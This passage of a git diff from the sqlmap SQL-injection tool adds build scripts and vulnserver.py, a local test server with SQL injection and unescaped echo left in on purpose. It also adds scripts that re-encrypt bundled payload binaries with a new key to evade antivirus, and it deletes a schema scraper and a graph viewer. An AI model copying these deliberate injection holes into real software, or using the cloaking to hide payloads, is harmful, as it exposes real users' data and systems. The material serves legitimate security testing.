--output=README.rst sqlmap/README.md +.. http://rst.ninjs.org/ +EOF +sed -i "s/^VERSION =.*/VERSION = \"$VERSION\"/g" sqlmap/lib/core/settings.py +sed -i "s/^TYPE =.*/TYPE = \"$TYPE\"/g" sqlmap/lib/core/settings.py +: > MANIFEST.in +while IFS= read -r -d '' file; do + case "$file" in + *.git|*.yml) continue ;; + esac + echo "include $file" >> MANIFEST.in +done < <(find sqlmap -type f -print0) +python setup.py sdist bdist_wheel +twine check dist/* +twine upload --config-file=~/.pypirc dist/* +rm -rf "$TMP_DIR" diff --git a/extra/shutils/recloak.sh b/extra/shutils/recloak.sh new file mode 100755 index 00000000000..557ea51d96f --- /dev/null +++ b/extra/shutils/recloak.sh @@ -0,0 +1,16 @@ +#!/bin/bash + +# NOTE: this script is for dev usage after AV something something + +DIR=$(cd -P -- "$(dirname -- "${BASH_SOURCE[0]}")" && pwd -P) + +cd $DIR/../.. +for file in $(find -regex ".*\.[a-z]*_" -type f | grep -v wordlist); do python extra/cloak/cloak.py -d -i $file; done + +cd $DIR/../cloak +sed -i 's/KEY = .*/KEY = b"'`python -c 'import random; import string; print("".join(random.sample(string.ascii_letters + string.digits, 16)))'`'"/g' cloak.py + +cd $DIR/../.. +for file in $(find -regex ".*\.[a-z]*_" -type f | grep -v wordlist); do python extra/cloak/cloak.py -i `echo $file | sed 's/_$//g'`; done + +git clean -f > /dev/null diff --git a/extra/shutils/strip.sh b/extra/shutils/strip.sh new file mode 100755 index 00000000000..0fa81ef62f9 --- /dev/null +++ b/extra/shutils/strip.sh @@ -0,0 +1,18 @@ +#!/bin/bash + +# References: http://www.thegeekstuff.com/2012/09/strip-command-examples/ +# http://www.muppetlabs.com/~breadbox/software/elfkickers.html +# https://ptspts.blogspot.hr/2013/12/how-to-make-smaller-c-and-c-binaries.html + +# https://github.com/BR903/ELFkickers/tree/master/sstrip +# https://www.ubuntuupdates.org/package/core/cosmic/universe/updates/postgresql-server-dev-10 + +# For example: +# python ../../../../../extra/cloak/cloak.py -d -i lib_postgresqludf_sys.so_ +# ../../../../../extra/shutils/strip.sh lib_postgresqludf_sys.so +# python ../../../../../extra/cloak/cloak.py -i lib_postgresqludf_sys.so +# rm lib_postgresqludf_sys.so + +strip -S --strip-unneeded --remove-section=.note.gnu.gold-version --remove-section=.comment --remove-section=.note --remove-section=.note.gnu.build-id --remove-section=.note.ABI-tag $* +sstrip $* + diff --git a/extra/socks/__init__.py b/extra/socks/__init__.py deleted file mode 100644 index 652bcd8d837..00000000000 --- a/extra/socks/__init__.py +++ /dev/null @@ -1,8 +0,0 @@ -#!/usr/bin/env python - -""" -Copyright (c) 2006-2012 sqlmap developers (http://www.sqlmap.org/) -See the file 'doc/COPYING' for copying permission -""" - -pass diff --git a/extra/sqlharvest/__init__.py b/extra/sqlharvest/__init__.py deleted file mode 100755 index 652bcd8d837..00000000000 --- a/extra/sqlharvest/__init__.py +++ /dev/null @@ -1,8 +0,0 @@ -#!/usr/bin/env python - -""" -Copyright (c) 2006-2012 sqlmap developers (http://www.sqlmap.org/) -See the file 'doc/COPYING' for copying permission -""" - -pass diff --git a/extra/sqlharvest/sqlharvest.py b/extra/sqlharvest/sqlharvest.py deleted file mode 100644 index 89270bb918f..00000000000 --- a/extra/sqlharvest/sqlharvest.py +++ /dev/null @@ -1,149 +0,0 @@ -#!/usr/bin/env python - -""" -Copyright (c) 2006-2012 sqlmap developers (http://www.sqlmap.org/) -See the file 'doc/COPYING' for copying permission -""" - -import cookielib -import re -import socket -import sys -import urllib -import urllib2 -import ConfigParser - -from operator import itemgetter - -def main(): - - TIMEOUT = 10 - CONFIG_FILE = 'sqlharvest.cfg' - TABLES_FILE = 'tables.txt' - USER_AGENT = 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; AskTB5.3)' - SEARCH_URL = 'http://www.google.com/m?source=mobileproducts&dc=gorganic' - MAX_FILE_SIZE = 2*1024*1024 # if a result (.sql) file for downloading is more than 2MB in size just skip it - QUERY = 'CREATE TABLE ext:sql' - REGEX_URLS = r';u=([^"]+)' - REGEX_RESULT = r'CREATE TABLE\s*(/\*.*\*/)?\s*(IF NOT EXISTS)?\s*(?P<result>[^\(;]+)' - - tables = dict() - refiles = re.compile(REGEX_URLS) - retables = re.compile(REGEX_RESULT, re.I) - - cookies = cookielib.CookieJar() - cookie_processor = urllib2.HTTPCookieProcessor(cookies) - opener = urllib2.build_opener(cookie_processor) - opener.addheaders = [('User-Agent', USER_AGENT)] - - conn = opener.open(SEARCH_URL) - page = conn.read() #set initial cookie values - - config = ConfigParser.ConfigParser() - config.read(CONFIG_FILE) - if not config.has_section('options'): - config.add_section('options') - - if not config.has_option('options', 'index'): - config.set('options', 'index', '0') - - i = int(config.get('options', 'index')) - - try: - f = open(TABLES_FILE, 'r') - for line in f.xreadlines(): - if len(line) > 0 and ',' in line: - temp = line.split(',') - tables[temp[0]] = int(temp[1]) - f.close() - except: - pass - - socket.setdefaulttimeout(TIMEOUT) - - files, oldFiles = None, None - try: - while True: - abort = False - oldFiles = files - files = [] - - try: - conn = opener.open('%s&q=%s&start=%d&sa=N' % (SEARCH_URL, QUERY.replace(' ', '+'), i*10)) - page = conn.read() - for match in refiles.finditer(page): - files.append(urllib.unquote(match.group(1))) - if len(files) >= 10: break - abort = (files == oldFiles) - - except KeyboardInterrupt: - raise - - except Exception, msg: - print msg - - if abort: - break - - sys.stdout.write("\n---------------\n") - sys.stdout.write("Result page #%d\n" % (i+1)) - sys.stdout.write("---------------\n") - - for sqlfile in files: - print sqlfile - try: - req = urllib2.Request(sqlfile) - response = urllib2.urlopen(req) - - if response.headers.has_key('Content-Length'): - if int(response.headers.get('Content-Length')) > MAX_FILE_SIZE: - continue - - page = response.read() - found = False - counter = 0 - - for match in retables.finditer(page): - counter += 1 - table = match.group("result").strip().strip("`").strip("\"").strip("'").replace('"."', ".").replace("].[", ".").strip('[').strip(']') - - if table and '>' not in table and '<' not in table and '--' not in table and ' ' not in table: - found = True - sys.stdout.write('*') - - if table in tables: - tables[table] += 1 - else: - tables[table] = 1 - if found: - sys.stdout.write("\n") - - except KeyboardInterrupt: - raise - - except Exception, msg: - print msg - - else: - i += 1 - - except KeyboardInterrupt: - pass - - finally: - f = open(TABLES_FILE, 'w+') - - tables = sorted(tables.items(), key=itemgetter(1), reverse=True) - - for table, count in tables: - f.write("%s,%d\n" % (table, count)) - - f.close() - config.set('options', 'index', str(i+1)) - - f = open(CONFIG_FILE, 'w+') - config.write(f) - f.close() - -if __name__ == "__main__": - main() diff --git a/extra/vulnserver/__init__.py b/extra/vulnserver/__init__.py new file mode 100644 index 00000000000..bcac841631b --- /dev/null +++ b/extra/vulnserver/__init__.py @@ -0,0 +1,8 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +pass diff --git a/extra/vulnserver/vulnserver.py b/extra/vulnserver/vulnserver.py new file mode 100644 index 00000000000..769108f928d --- /dev/null +++ b/extra/vulnserver/vulnserver.py @@ -0,0 +1,353 @@ +#!/usr/bin/env python + +""" +vulnserver.py - Trivial SQLi vulnerable HTTP server (Note: for testing purposes) + +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +from __future__ import print_function + +import base64 +import json +import random +import re +import sqlite3 +import string +import sys +import threading +import traceback + +PY3 = sys.version_info >= (3, 0) +UNICODE_ENCODING = "utf-8" +DEBUG = False + +if PY3: + from http.client import INTERNAL_SERVER_ERROR + from http.client import NOT_FOUND + from http.client import OK + from http.server import BaseHTTPRequestHandler + from http.server import HTTPServer + from socketserver import ThreadingMixIn + from urllib.parse import parse_qs + from urllib.parse import unquote_plus +else: + from BaseHTTPServer import BaseHTTPRequestHandler + from BaseHTTPServer import HTTPServer + from httplib import INTERNAL_SERVER_ERROR + from httplib import NOT_FOUND + from httplib import OK + from SocketServer import ThreadingMixIn + from urlparse import parse_qs + from urllib import unquote_plus + +SCHEMA = """ + CREATE TABLE users ( + id INTEGER, + name TEXT, + surname TEXT, + PRIMARY KEY (id) + ); + INSERT INTO users (id, name, surname) VALUES (1, 'luther', 'blisset'); + INSERT INTO users (id, name, surname) VALUES (2, 'fluffy', 'bunny'); + INSERT INTO users (id, name, surname) VALUES (3, 'wu', 'ming'); + INSERT INTO users (id, name, surname) VALUES (4, NULL, 'nameisnull'); + INSERT INTO users (id, name, surname) VALUES (5, 'mark', 'lewis'); + INSERT INTO users (id, name, surname) VALUES (6, 'ada', 'lovelace'); + INSERT INTO users (id, name, surname) VALUES (7, 'grace', 'hopper'); + INSERT INTO users (id, name, surname) VALUES (8, 'alan', 'turing'); + INSERT INTO users (id, name, surname) VALUES (9, 'margaret','hamilton'); + INSERT INTO users (id, name, surname) VALUES (10, 'donald', 'knuth'); + INSERT INTO users (id, name, surname) VALUES (11, 'tim', 'bernerslee'); + INSERT INTO users (id, name, surname) VALUES (12, 'linus', 'torvalds'); + INSERT INTO users (id, name, surname) VALUES (13, 'ken', 'thompson'); + INSERT INTO users (id, name, surname) VALUES (14, 'dennis', 'ritchie'); + INSERT INTO users (id, name, surname) VALUES (15, 'barbara', 'liskov'); + INSERT INTO users (id, name, surname) VALUES (16, 'edsger', 'dijkstra'); + INSERT INTO users (id, name, surname) VALUES (17, 'john', 'mccarthy'); + INSERT INTO users (id, name, surname) VALUES (18, 'leslie', 'lamport'); + INSERT INTO users (id, name, surname) VALUES (19, 'niklaus', 'wirth'); + INSERT INTO users (id, name, surname) VALUES (20, 'bjarne', 'stroustrup'); + INSERT INTO users (id, name, surname) VALUES (21, 'guido', 'vanrossum'); + INSERT INTO users (id, name, surname) VALUES (22, 'brendan', 'eich'); + INSERT INTO users (id, name, surname) VALUES (23, 'james', 'gosling'); + INSERT INTO users (id, name, surname) VALUES (24, 'andrew', 'tanenbaum'); + INSERT INTO users (id, name, surname) VALUES (25, 'yukihiro','matsumoto'); + INSERT INTO users (id, name, surname) VALUES (26, 'radia', 'perlman'); + INSERT INTO users (id, name, surname) VALUES (27, 'katherine','johnson'); + INSERT INTO users (id, name, surname) VALUES (28, 'hady', 'lamarr'); + INSERT INTO users (id, name, surname) VALUES (29, 'frank', 'miller'); + INSERT INTO users (id, name, surname) VALUES (30, 'john', 'steward'); + + CREATE TABLE creds ( + user_id INTEGER, + password_hash TEXT, + FOREIGN KEY (user_id) REFERENCES users(id) + ); + INSERT INTO creds (user_id, password_hash) VALUES (1, 'db3a16990a0008a3b04707fdef6584a0'); + INSERT INTO creds (user_id, password_hash) VALUES (2, '4db967ce67b15e7fb84c266a76684729'); + INSERT INTO creds (user_id, password_hash) VALUES (3, 'f5a2950eaa10f9e99896800eacbe8275'); + INSERT INTO creds (user_id, password_hash) VALUES (4, NULL); + INSERT INTO creds (user_id, password_hash) VALUES (5, '179ad45c6ce2cb97cf1029e212046e81'); + INSERT INTO creds (user_id, password_hash) VALUES (6, '0f1e2d3c4b5a69788796a5b4c3d2e1f0'); + INSERT INTO creds (user_id, password_hash) VALUES (7, 'a1b2c3d4e5f60718293a4b5c6d7e8f90'); + INSERT INTO creds (user_id, password_hash) VALUES (8, '1a2b3c4d5e6f708192a3b4c5d6e7f809'); + INSERT INTO creds (user_id, password_hash) VALUES (9, '9f8e7d6c5b4a3928170605f4e3d2c1b0'); + INSERT INTO creds (user_id, password_hash) VALUES (10, '3c2d1e0f9a8b7c6d5e4f30291807f6e5'); + INSERT INTO creds (user_id, password_hash) VALUES (11, 'b0c1d2e3f405162738495a6b7c8d9eaf'); + INSERT INTO creds (user_id, password_hash) VALUES (12, '6e5d4c3b2a190807f6e5d4c3b2a1908f'); + INSERT INTO creds (user_id, password_hash) VALUES (13, '11223344556677889900aabbccddeeff'); + INSERT INTO creds (user_id, password_hash) VALUES (14, 'ffeeddccbbaa00998877665544332211'); + INSERT INTO creds (user_id, password_hash) VALUES (15, '1234567890abcdef1234567890abcdef'); + INSERT INTO creds (user_id, password_hash) VALUES (16, 'abcdef1234567890abcdef1234567890'); + INSERT INTO creds (user_id, password_hash) VALUES (17, '0a1b2c3d4e5f60718a9b0c1d2e3f4051'); + INSERT INTO creds (user_id, password_hash) VALUES (18, '51f04e3d2c1b0a9871605f4e3d2c1b0a'); + INSERT INTO creds (user_id, password_hash) VALUES (19, '89abcdef0123456789abcdef01234567'); + INSERT INTO creds (user_id, password_hash) VALUES (20, '76543210fedcba9876543210fedcba98'); + INSERT INTO creds (user_id, password_hash) VALUES (21, '13579bdf2468ace013579bdf2468ace0'); + INSERT INTO creds (user_id, password_hash) VALUES (22, '02468ace13579bdf02468ace13579bdf'); + INSERT INTO creds (user_id, password_hash) VALUES (23, 'deadbeefdeadbeefdeadbeefdeadbeef'); + INSERT INTO creds (user_id, password_hash) VALUES (24, 'cafebabecafebabecafebabecafebabe'); + INSERT INTO creds (user_id, password_hash) VALUES (25, '00112233445566778899aabbccddeeff'); + INSERT INTO creds (user_id, password_hash) VALUES (26, 'f0e1d2c3b4a5968778695a4b3c2d1e0f'); + INSERT INTO creds (user_id, password_hash) VALUES (27, '7f6e5d4c3b2a190807f6e5d4c3b2a190'); + INSERT INTO creds (user_id, password_hash) VALUES (28, '908f7e6d5c4b3a291807f6e5d4c3b2a1'); + INSERT INTO creds (user_id, password_hash) VALUES (29, '3049b791fa83e2f42f37bae18634b92d'); + INSERT INTO creds (user_id, password_hash) VALUES (30, 'd59a348f90d757c7da30418773424b5e'); +""" + +LISTEN_ADDRESS = "localhost" +LISTEN_PORT = 8440 + +_conn = None +_cursor = None +_lock = None +_server = None +_alive = False +_csrf_token = None + +def init(quiet=False): + global _conn + global _cursor + global _lock + global _csrf_token + + _csrf_token = "".join(random.sample(string.ascii_letters + string.digits, 20)) + + _conn = sqlite3.connect(":memory:", isolation_level=None, check_same_thread=False) + _cursor = _conn.cursor() + _lock = threading.Lock() + + _cursor.executescript(SCHEMA) + + if quiet: + global print + + def _(*args, **kwargs): + pass + + print = _ + +class ThreadingServer(ThreadingMixIn, HTTPServer): + def finish_request(self, *args, **kwargs): + try: + HTTPServer.finish_request(self, *args, **kwargs) + except Exception: + if DEBUG: + traceback.print_exc() + +class ReqHandler(BaseHTTPRequestHandler): + def do_REQUEST(self): + path, query = self.path.split('?', 1) if '?' in self.path else (self.path, "") + params = {} + + if query: + params.update(parse_qs(query)) + + if "<script>" in unquote_plus(query): + self.send_response(INTERNAL_SERVER_ERROR) + self.send_header("X-Powered-By", "Express") + self.send_header("Connection", "close") + self.end_headers() + self.wfile.write("CLOUDFLARE_ERROR_500S_BOX".encode(UNICODE_ENCODING)) + return + + if hasattr(self, "data"): + if self.data.startswith('{') and self.data.endswith('}'): + params.update(json.loads(self.data)) + elif self.data.startswith('<') and self.data.endswith('>'): + params.update(dict((_[0], _[1].replace("'", "'").replace(""", '"').replace("<", '<').replace(">", '>').replace("&", '&')) for _ in re.findall(r'name="([^"]+)" value="([^"]*)"', self.data))) + else: + self.data = self.data.replace(';', '&') # Note: seems that Python3 started ignoring parameter splitting with ';' + params.update(parse_qs(self.data)) + + for name in self.headers: + params[name.lower()] = self.headers[name] + + if "cookie" in params: + for part in params["cookie"].split(';'): + part = part.strip() + if '=' in part: + name, value = part.split('=', 1) + params[name.strip()] = unquote_plus(value.strip()) + + for key in params: + if params[key] and isinstance(params[key], (tuple, list)): + params[key] = params[key][-1] + + self.url, self.params = path, params + + if self.url == "/csrf": + if self.params.get("csrf_token") == _csrf_token: + self.url = "/" + else: + self.send_response(OK) + self.send_header("Content-type", "text/html; charset=%s" % UNICODE_ENCODING) + self.end_headers() + + form = ( + "<html><body>" + "CSRF protection check<br>" + "<form action='/csrf' method='POST'>" + "<input type='hidden' name='csrf_token' value='%s'>" + "id: <input type='text' name='id'>" + "<input type='submit' value='Submit'>" + "</form>" + "</body></html>" + ) % _csrf_token + + self.wfile.write(form.encode(UNICODE_ENCODING)) + return + + if self.url == '/': + if not any(_ in self.params for _ in ("id", "query")): + self.send_response(OK) + self.send_header("Content-type", "text/html; charset=%s" % UNICODE_ENCODING) + self.send_header("Connection", "close") + self.end_headers() + self.wfile.write(b"<!DOCTYPE html><html><head><title>vulnserver

GET:

link

POST:

ID:
") + else: + code, output = OK, "" + + try: + if self.params.get("echo", ""): + output += "%s
" % self.params["echo"] + + if self.params.get("reflect", ""): + output += "%s
" % self.params.get("id") + + with _lock: + if "query" in self.params: + _cursor.execute(self.params["query"]) + elif "id" in self.params: + if "base64" in self.params: + _cursor.execute("SELECT * FROM users WHERE id=%s LIMIT 0, 1" % base64.b64decode("%s===" % self.params["id"], altchars=self.params.get("altchars")).decode()) + else: + _cursor.execute("SELECT * FROM users WHERE id=%s LIMIT 0, 1" % self.params["id"]) + results = _cursor.fetchall() + + output += "SQL results:
\n" + + if self.params.get("code", ""): + if not results: + code = INTERNAL_SERVER_ERROR + else: + if results: + output += "\n" + + for row in results: + output += "" + for value in row: + output += "" % value + output += "\n" + + output += "
%s
\n" + else: + output += "no results found" + + if not results: + output = "No results" + output + else: + output = "Results" + output + + output += "" + except Exception as ex: + code = INTERNAL_SERVER_ERROR + output = "%s: %s" % (re.search(r"'([^']+)'", str(type(ex))).group(1), ex) + + self.send_response(code) + + self.send_header("Content-type", "text/html") + self.send_header("Connection", "close") + + if self.raw_requestline.startswith(b"HEAD"): + self.send_header("Content-Length", str(len(output))) + self.end_headers() + else: + self.end_headers() + self.wfile.write(output if isinstance(output, bytes) else output.encode(UNICODE_ENCODING)) + else: + self.send_response(NOT_FOUND) + self.send_header("Connection", "close") + self.end_headers() + + def do_GET(self): + self.do_REQUEST() + + def do_PUT(self): + self.do_POST() + + def do_HEAD(self): + self.do_REQUEST() + + def do_POST(self): + length = int(self.headers.get("Content-length", 0)) + if length: + data = self.rfile.read(length) + data = unquote_plus(data.decode(UNICODE_ENCODING, "ignore")) + self.data = data + elif self.headers.get("Transfer-encoding") == "chunked": + data, line = b"", b"" + count = 0 + + while True: + line += self.rfile.read(1) + if line.endswith(b'\n'): + if count % 2 == 1: + current = line.rstrip(b"\r\n") + if not current: + break + else: + data += current + + count += 1 + line = b"" + + self.data = data.decode(UNICODE_ENCODING, "ignore") + + self.do_REQUEST() + + def log_message(self, format, *args): + return + +def run(address=LISTEN_ADDRESS, port=LISTEN_PORT): + global _alive + global _server + try: + _alive = True + _server = ThreadingServer((address, port), ReqHandler) + print("[i] running HTTP server at 'http://%s:%d'" % (address, port)) + _server.serve_forever() + except KeyboardInterrupt: + _server.socket.close() + raise + finally: + _alive = False + +if __name__ == "__main__": + try: + init() + run(sys.argv[1] if len(sys.argv) > 1 else LISTEN_ADDRESS, int(sys.argv[2] if len(sys.argv) > 2 else LISTEN_PORT)) + except KeyboardInterrupt: + print("\r[x] Ctrl-C received") diff --git a/extra/xdot/__init__.py b/extra/xdot/__init__.py deleted file mode 100755 index c1a869589f3..00000000000 --- a/extra/xdot/__init__.py +++ /dev/null @@ -1,19 +0,0 @@ -#!/usr/bin/env python -# -# Copyright 2008-2009 Jose Fonseca -# -# This program is free software: you can redistribute it and/or modify it -# under the terms of the GNU Lesser General Public License as published -# by the Free Software Foundation, either version 3 of the License, or -# (at your option) any later version. -# -# This program is distributed in the hope that it will be useful, -# but WITHOUT ANY WARRANTY; without even the implied warranty of -# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the -# GNU Lesser General Public License for more details. -# -# You should have received a copy of the GNU Lesser General Public License -# along with this program. If not, see . -# - -pass diff --git a/extra/xdot/xdot.py b/extra/xdot/xdot.py deleted file mode 100644 index 4bc94640e0f..00000000000 --- a/extra/xdot/xdot.py +++ /dev/null @@ -1,2159 +0,0 @@ -#!/usr/bin/env python -# -# Copyright 2008 Jose Fonseca -# -# This program is free software: you can redistribute it and/or modify it -# under the terms of the GNU Lesser General Public License as published -# by the Free Software Foundation, either version 3 of the License, or -# (at your option) any later version. -# -# This program is distributed in the hope that it will be useful, -# but WITHOUT ANY WARRANTY; without even the implied warranty of -# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the -# GNU Lesser General Public License for more details. -# -# You should have received a copy of the GNU Lesser General Public License -# along with this program. If not, see . -# - -'''Visualize dot graphs via the xdot Format.''' - -__author__ = "Jose Fonseca" - -__version__ = "0.4" - - -import os -import sys -import subprocess -import math -import colorsys -import time -import re - -import gobject -import gtk -import gtk.gdk -import gtk.keysyms -import cairo -import pango -import pangocairo - - -# See http://www.graphviz.org/pub/scm/graphviz-cairo/plugin/cairo/gvrender_cairo.c - -# For pygtk inspiration and guidance see: -# - http://mirageiv.berlios.de/ -# - http://comix.sourceforge.net/ - - -class Pen: - """Store pen attributes.""" - - def __init__(self): - # set default attributes - self.color = (0.0, 0.0, 0.0, 1.0) - self.fillcolor = (0.0, 0.0, 0.0, 1.0) - self.linewidth = 1.0 - self.fontsize = 14.0 - self.fontname = "Times-Roman" - self.dash = () - - def copy(self): - """Create a copy of this pen.""" - pen = Pen() - pen.__dict__ = self.__dict__.copy() - return pen - - def highlighted(self): - pen = self.copy() - pen.color = (1, 0, 0, 1) - pen.fillcolor = (1, .8, .8, 1) - return pen - - -class Shape: - """Abstract base class for all the drawing shapes.""" - - def __init__(self): - pass - - def draw(self, cr, highlight=False): - """Draw this shape with the given cairo context""" - raise NotImplementedError - - def select_pen(self, highlight): - if highlight: - if not hasattr(self, 'highlight_pen'): - self.highlight_pen = self.pen.highlighted() - return self.highlight_pen - else: - return self.pen - - -class TextShape(Shape): - - #fontmap = pangocairo.CairoFontMap() - #fontmap.set_resolution(72) - #context = fontmap.create_context() - - LEFT, CENTER, RIGHT = -1, 0, 1 - - def __init__(self, pen, x, y, j, w, t): - Shape.__init__(self) - self.pen = pen.copy() - self.x = x - self.y = y - self.j = j - self.w = w - self.t = t - - def draw(self, cr, highlight=False): - - try: - layout = self.layout - except AttributeError: - layout = cr.create_layout() - - # set font options - # see http://lists.freedesktop.org/archives/cairo/2007-February/009688.html - context = layout.get_context() - fo = cairo.FontOptions() - fo.set_antialias(cairo.ANTIALIAS_DEFAULT) - fo.set_hint_style(cairo.HINT_STYLE_NONE) - fo.set_hint_metrics(cairo.HINT_METRICS_OFF) - try: - pangocairo.context_set_font_options(context, fo) - except TypeError: - # XXX: Some broken pangocairo bindings show the error - # 'TypeError: font_options must be a cairo.FontOptions or None' - pass - - # set font - font = pango.FontDescription() - font.set_family(self.pen.fontname) - font.set_absolute_size(self.pen.fontsize*pango.SCALE) - layout.set_font_description(font) - - # set text - layout.set_text(self.t) - - # cache it - self.layout = layout - else: - cr.update_layout(layout) - - descent = 2 # XXX get descender from font metrics - - width, height = layout.get_size() - width = float(width)/pango.SCALE - height = float(height)/pango.SCALE - # we know the width that dot thinks this text should have - # we do not necessarily have a font with the same metrics - # scale it so that the text fits inside its box - if width > self.w: - f = self.w / width - width = self.w # equivalent to width *= f - height *= f - descent *= f - else: - f = 1.0 - - if self.j == self.LEFT: - x = self.x - elif self.j == self.CENTER: - x = self.x - 0.5*width - elif self.j == self.RIGHT: - x = self.x - width - else: - assert 0 - - y = self.y - height + descent - - cr.move_to(x, y) - - cr.save() - cr.scale(f, f) - cr.set_source_rgba(*self.select_pen(highlight).color) - cr.show_layout(layout) - cr.restore() - - if 0: # DEBUG - # show where dot thinks the text should appear - cr.set_source_rgba(1, 0, 0, .9) - if self.j == self.LEFT: - x = self.x - elif self.j == self.CENTER: - x = self.x - 0.5*self.w - elif self.j == self.RIGHT: - x = self.x - self.w - cr.move_to(x, self.y) - cr.line_to(x+self.w, self.y) - cr.stroke() - - -class EllipseShape(Shape): - - def __init__(self, pen, x0, y0, w, h, filled=False): - Shape.__init__(self) - self.pen = pen.copy() - self.x0 = x0 - self.y0 = y0 - self.w = w - self.h = h - self.filled = filled - - def draw(self, cr, highlight=False): - cr.save() - cr.translate(self.x0, self.y0) - cr.scale(self.w, self.h) - cr.move_to(1.0, 0.0) - cr.arc(0.0, 0.0, 1.0, 0, 2.0*math.pi) - cr.restore() - pen = self.select_pen(highlight) - if self.filled: - cr.set_source_rgba(*pen.fillcolor) - cr.fill() - else: - cr.set_dash(pen.dash) - cr.set_line_width(pen.linewidth) - cr.set_source_rgba(*pen.color) - cr.stroke() - - -class PolygonShape(Shape): - - def __init__(self, pen, points, filled=False): - Shape.__init__(self) - self.pen = pen.copy() - self.points = points - self.filled = filled - - def draw(self, cr, highlight=False): - x0, y0 = self.points[-1] - cr.move_to(x0, y0) - for x, y in self.points: - cr.line_to(x, y) - cr.close_path() - pen = self.select_pen(highlight) - if self.filled: - cr.set_source_rgba(*pen.fillcolor) - cr.fill_preserve() - cr.fill() - else: - cr.set_dash(pen.dash) - cr.set_line_width(pen.linewidth) - cr.set_source_rgba(*pen.color) - cr.stroke() - - -class LineShape(Shape): - - def __init__(self, pen, points): - Shape.__init__(self) - self.pen = pen.copy() - self.points = points - - def draw(self, cr, highlight=False): - x0, y0 = self.points[0] - cr.move_to(x0, y0) - for x1, y1 in self.points[1:]: - cr.line_to(x1, y1) - pen = self.select_pen(highlight) - cr.set_dash(pen.dash) - cr.set_line_width(pen.linewidth) - cr.set_source_rgba(*pen.color) - cr.stroke() - - -class BezierShape(Shape): - - def __init__(self, pen, points, filled=False): - Shape.__init__(self) - self.pen = pen.copy() - self.points = points - self.filled = filled - - def draw(self, cr, highlight=False): - x0, y0 = self.points[0] - cr.move_to(x0, y0) - for i in xrange(1, len(self.points), 3): - x1, y1 = self.points[i] - x2, y2 = self.points[i + 1] - x3, y3 = self.points[i + 2] - cr.curve_to(x1, y1, x2, y2, x3, y3) - pen = self.select_pen(highlight) - if self.filled: - cr.set_source_rgba(*pen.fillcolor) - cr.fill_preserve() - cr.fill() - else: - cr.set_dash(pen.dash) - cr.set_line_width(pen.linewidth) - cr.set_source_rgba(*pen.color) - cr.stroke() - - -class CompoundShape(Shape): - - def __init__(self, shapes): - Shape.__init__(self) - self.shapes = shapes - - def draw(self, cr, highlight=False): - for shape in self.shapes: - shape.draw(cr, highlight=highlight) - - -class Url(object): - - def __init__(self, item, url, highlight=None): - self.item = item - self.url = url - if highlight is None: - highlight = set([item]) - self.highlight = highlight - - -class Jump(object): - - def __init__(self, item, x, y, highlight=None): - self.item = item - self.x = x - self.y = y - if highlight is None: - highlight = set([item]) - self.highlight = highlight - - -class Element(CompoundShape): - """Base class for graph nodes and edges.""" - - def __init__(self, shapes): - CompoundShape.__init__(self, shapes) - - def get_url(self, x, y): - return None - - def get_jump(self, x, y): - return None - - -class Node(Element): - - def __init__(self, x, y, w, h, shapes, url): - Element.__init__(self, shapes) - - self.x = x - self.y = y - - self.x1 = x - 0.5*w - self.y1 = y - 0.5*h - self.x2 = x + 0.5*w - self.y2 = y + 0.5*h - - self.url = url - - def is_inside(self, x, y): - return self.x1 <= x and x <= self.x2 and self.y1 <= y and y <= self.y2 - - def get_url(self, x, y): - if self.url is None: - return None - #print (x, y), (self.x1, self.y1), "-", (self.x2, self.y2) - if self.is_inside(x, y): - return Url(self, self.url) - return None - - def get_jump(self, x, y): - if self.is_inside(x, y): - return Jump(self, self.x, self.y) - return None - - -def square_distance(x1, y1, x2, y2): - deltax = x2 - x1 - deltay = y2 - y1 - return deltax*deltax + deltay*deltay - - -class Edge(Element): - - def __init__(self, src, dst, points, shapes): - Element.__init__(self, shapes) - self.src = src - self.dst = dst - self.points = points - - RADIUS = 10 - - def get_jump(self, x, y): - if square_distance(x, y, *self.points[0]) <= self.RADIUS*self.RADIUS: - return Jump(self, self.dst.x, self.dst.y, highlight=set([self, self.dst])) - if square_distance(x, y, *self.points[-1]) <= self.RADIUS*self.RADIUS: - return Jump(self, self.src.x, self.src.y, highlight=set([self, self.src])) - return None - - -class Graph(Shape): - - def __init__(self, width=1, height=1, shapes=(), nodes=(), edges=()): - Shape.__init__(self) - - self.width = width - self.height = height - self.shapes = shapes - self.nodes = nodes - self.edges = edges - - def get_size(self): - return self.width, self.height - - def draw(self, cr, highlight_items=None): - if highlight_items is None: - highlight_items = () - cr.set_source_rgba(0.0, 0.0, 0.0, 1.0) - - cr.set_line_cap(cairo.LINE_CAP_BUTT) - cr.set_line_join(cairo.LINE_JOIN_MITER) - - for shape in self.shapes: - shape.draw(cr) - for edge in self.edges: - edge.draw(cr, highlight=(edge in highlight_items)) - for node in self.nodes: - node.draw(cr, highlight=(node in highlight_items)) - - def get_url(self, x, y): - for node in self.nodes: - url = node.get_url(x, y) - if url is not None: - return url - return None - - def get_jump(self, x, y): - for edge in self.edges: - jump = edge.get_jump(x, y) - if jump is not None: - return jump - for node in self.nodes: - jump = node.get_jump(x, y) - if jump is not None: - return jump - return None - - -class XDotAttrParser: - """Parser for xdot drawing attributes. - See also: - - http://www.graphviz.org/doc/info/output.html#d:xdot - """ - - def __init__(self, parser, buf): - self.parser = parser - self.buf = self.unescape(buf) - self.pos = 0 - - self.pen = Pen() - self.shapes = [] - - def __nonzero__(self): - return self.pos < len(self.buf) - - def unescape(self, buf): - buf = buf.replace('\\"', '"') - buf = buf.replace('\\n', '\n') - return buf - - def read_code(self): - pos = self.buf.find(" ", self.pos) - res = self.buf[self.pos:pos] - self.pos = pos + 1 - while self.pos < len(self.buf) and self.buf[self.pos].isspace(): - self.pos += 1 - return res - - def read_number(self): - return int(self.read_code()) - - def read_float(self): - return float(self.read_code()) - - def read_point(self): - x = self.read_number() - y = self.read_number() - return self.transform(x, y) - - def read_text(self): - num = self.read_number() - pos = self.buf.find("-", self.pos) + 1 - self.pos = pos + num - res = self.buf[pos:self.pos] - while self.pos < len(self.buf) and self.buf[self.pos].isspace(): - self.pos += 1 - return res - - def read_polygon(self): - n = self.read_number() - p = [] - for i in range(n): - x, y = self.read_point() - p.append((x, y)) 